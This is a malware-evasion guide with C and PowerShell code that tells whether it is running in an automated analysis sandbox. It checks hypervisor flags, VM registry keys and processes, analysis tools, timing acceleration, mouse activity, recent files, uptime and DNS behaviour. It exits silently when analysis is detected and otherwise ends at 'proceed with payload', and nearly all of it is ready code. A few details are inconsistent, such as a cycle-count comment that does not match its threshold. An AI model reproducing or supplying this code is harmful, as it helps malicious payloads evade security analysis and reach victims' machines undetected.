Sandbox detection

Check whether the execution environment is an automated analysis sandbox before committing to any detectable action. Run these checks early, before any network connection, persistence mechanism, or payload execution.

VM and hypervisor checks

#include <windows.h>
#include <intrin.h>
#include <stdbool.h>

bool in_hypervisor(void) {
    int info[4];
    __cpuid(info, 1);
    // bit 31 of ECX is set when running in a hypervisor
    return (info[2] >> 31) & 1;
}

bool check_registry_vm(void) {
    const char *keys[] = {
        "SOFTWARE\\VMware, Inc.\\VMware Tools",
        "SOFTWARE\\Oracle\\VirtualBox Guest Additions",
        "SYSTEM\\ControlSet001\\Services\\VBoxGuest",
        "HARDWARE\\ACPI\\DSDT\\VBOX__",
        NULL
    };
    for (int i = 0; keys[i]; i++) {
        HKEY hKey;
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, keys[i], 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            RegCloseKey(hKey);
            return true;
        }
    }
    return false;
}

bool check_mac_prefix(void) {
    // VMware: 00:0C:29, 00:50:56; VirtualBox: 08:00:27
    // enumerate adapters via GetAdaptersInfo and check first 3 bytes of MAC
    // (implementation: iphlpapi.h)
    return false; // placeholder
}

PowerShell equivalent:

function Test-Sandbox {
    $indicators = @()

    # hypervisor CPUID check via WMI
    $cpu = Get-WmiObject -Class Win32_Processor
    if ($cpu.VirtualizationFirmwareEnabled -or (Get-WmiObject Win32_ComputerSystem).HypervisorPresent) {
        $indicators += 'hypervisor'
    }

    # VM process indicators
    $vmProcs = @('vmtoolsd','vmwaretray','vmwareuser','vboxservice','vboxtray',
                 'sandboxie','sbiectrl','vmsrvc','vmusrvc')
    $running = Get-Process | Select-Object -ExpandProperty Name
    foreach ($p in $vmProcs) {
        if ($running -contains $p) { $indicators += "process:$p" }
    }

    # analysis tool indicators
    $analysisProcs = @('wireshark','procmon','procexp','ollydbg','x64dbg','ida64',
                       'fiddler','charles','burpsuite')
    foreach ($p in $analysisProcs) {
        if ($running -contains $p) { $indicators += "analysis:$p" }
    }

    return $indicators
}

$found = Test-Sandbox
if ($found.Count -gt 0) { exit 0 }  # silent exit, look like normal termination

Time-based checks

function Test-TimeAcceleration {
    $before = [System.DateTime]::UtcNow
    Start-Sleep -Seconds 30
    $after = [System.DateTime]::UtcNow
    $elapsed = ($after - $before).TotalSeconds
    # if less than 25 seconds passed during a 30-second sleep, time was accelerated
    return $elapsed -lt 25
}

if (Test-TimeAcceleration) { exit 0 }

CPU cycle counting for higher precision (avoids sleep acceleration):

// use RDTSC before and after a computation loop
// if cycles per wall-clock-second is implausibly high, environment is suspicious
unsigned long long rdtsc_before = __rdtsc();
Sleep(1000);
unsigned long long rdtsc_after = __rdtsc();
unsigned long long cycles = rdtsc_after - rdtsc_before;
// on modern hardware: ~2-4 billion cycles per second
// if cycles < 100000 for a 1-second sleep: time was accelerated
if (cycles < 1000000000ULL) { exit(0); }

User interaction checks

function Test-UserPresence {
    Add-Type @'
    using System.Runtime.InteropServices;
    public class Input {
        [DllImport("user32.dll")]
        public static extern bool GetCursorPos(out System.Drawing.Point lpPoint);
        [DllImport("user32.dll")]
        public static extern IntPtr GetForegroundWindow();
        [DllImport("user32.dll")]
        public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder lpString, int nMaxCount);
    }
'@

    $p1 = New-Object System.Drawing.Point
    [Input]::GetCursorPos([ref]$p1)
    Start-Sleep -Seconds 5
    $p2 = New-Object System.Drawing.Point
    [Input]::GetCursorPos([ref]$p2)

    # no mouse movement
    if ($p1.X -eq $p2.X -and $p1.Y -eq $p2.Y) { return $false }

    # cursor at origin or very close (sandbox default)
    if ($p2.X -lt 10 -and $p2.Y -lt 10) { return $false }

    # no foreground window
    $hwnd = [Input]::GetForegroundWindow()
    if ($hwnd -eq [IntPtr]::Zero) { return $false }

    return $true
}

if (-not (Test-UserPresence)) { exit 0 }

Environment plausibility

function Test-RealEnvironment {
    # recent files (a real user has some)
    $recentPath = [System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Recent')
    $recentCount = (Get-ChildItem $recentPath -ErrorAction SilentlyContinue).Count
    if ($recentCount -lt 5) { return $false }

    # running process count (a real workstation has more than a sandbox)
    if ((Get-Process).Count -lt 25) { return $false }

    # screen resolution (sandboxes often use minimal resolution)
    Add-Type -AssemblyName System.Windows.Forms
    $screen = [System.Windows.Forms.Screen]::PrimaryScreen
    if ($screen.Bounds.Width -lt 800 -or $screen.Bounds.Height -lt 600) { return $false }

    # uptime (sandboxes are freshly booted)
    $uptime = (Get-Date) - (gcim Win32_OperatingSystem).LastBootUpTime
    if ($uptime.TotalMinutes -lt 10) { return $false }

    return $true
}

if (-not (Test-RealEnvironment)) { exit 0 }

DNS-based network check

function Test-NetworkReal {
    # a real network returns NXDOMAIN for non-existent domains
    # a sandboxed network often resolves everything
    try {
        [System.Net.Dns]::GetHostAddresses('this.definitely.does.not.exist.invalid')
        # resolved: sandbox intercepting DNS
        return $false
    } catch {
        # NXDOMAIN: real network behaviour
        return $true
    }
}

if (-not (Test-NetworkReal)) { exit 0 }

Putting it together

Run all checks before any action. Exit cleanly on failure (no crash, no error message). A clean exit from a sandbox analysis produces an inconclusive report.

# gate: run all checks, exit silently if any fails
$checks = @(
    { (Test-Sandbox).Count -eq 0 },
    { -not (Test-TimeAcceleration) },
    { Test-UserPresence },
    { Test-RealEnvironment },
    { Test-NetworkReal }
)

foreach ($check in $checks) {
    if (-not (& $check)) { [System.Environment]::Exit(0) }
}

# environment is real: proceed with payload